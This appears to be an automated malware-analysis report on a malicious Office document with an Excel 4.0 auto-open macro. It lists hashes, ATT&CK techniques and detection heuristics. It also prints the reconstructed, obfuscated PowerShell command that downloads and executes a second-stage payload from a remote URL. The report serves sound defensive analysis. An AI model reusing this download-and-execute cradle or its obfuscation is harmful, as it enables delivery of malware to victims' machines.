Office (OLE) / .DOC malware analysis — malicious · ac96933a868de80a

MALICIOUS

Office (OLE) / .DOC

109.5 KB Created: 2019-10-22 07:10:34 Authoring application: Microsoft Excel

MD5: 6506790e5b9d5f19ea82bb0e1e607322 SHA-1: 1aea82929677694032b149f394d1fc22576f8ed3 SHA-256: ac96933a868de80a511a0e06c85e52e5bc32f88152d2b83759f7038a03530887

100 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File

The sample is an Office document containing an Excel 4.0 macro, indicated by the OLE_XLM_AUTOOPEN heuristic. This macro executes a PowerShell command to download content from the URL https://screw-malwrhunterteams.com/scanme.txt. The SE_LOLBIN_RUN_COMMAND heuristic further confirms the presence of a command execution instruction. The PowerShell command reconstructs to: powershell -Command "IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('https://screw-malwrhunterteams.com/scanme.txt')". This indicates the document's purpose is to download and execute a second-stage payload.

Heuristics 4

Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
Visible LOLBin command execution instruction high SE_LOLBIN_RUN_COMMAND

Document contains instructions or visible command text involving Windows script/execution tools such as PowerShell, mshta, cmd, rundll32, or regsvr32
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://screw-malwrhunterteams.com/scanme.txt

Open this report in the interactive analyzer, or submit your own file for analysis.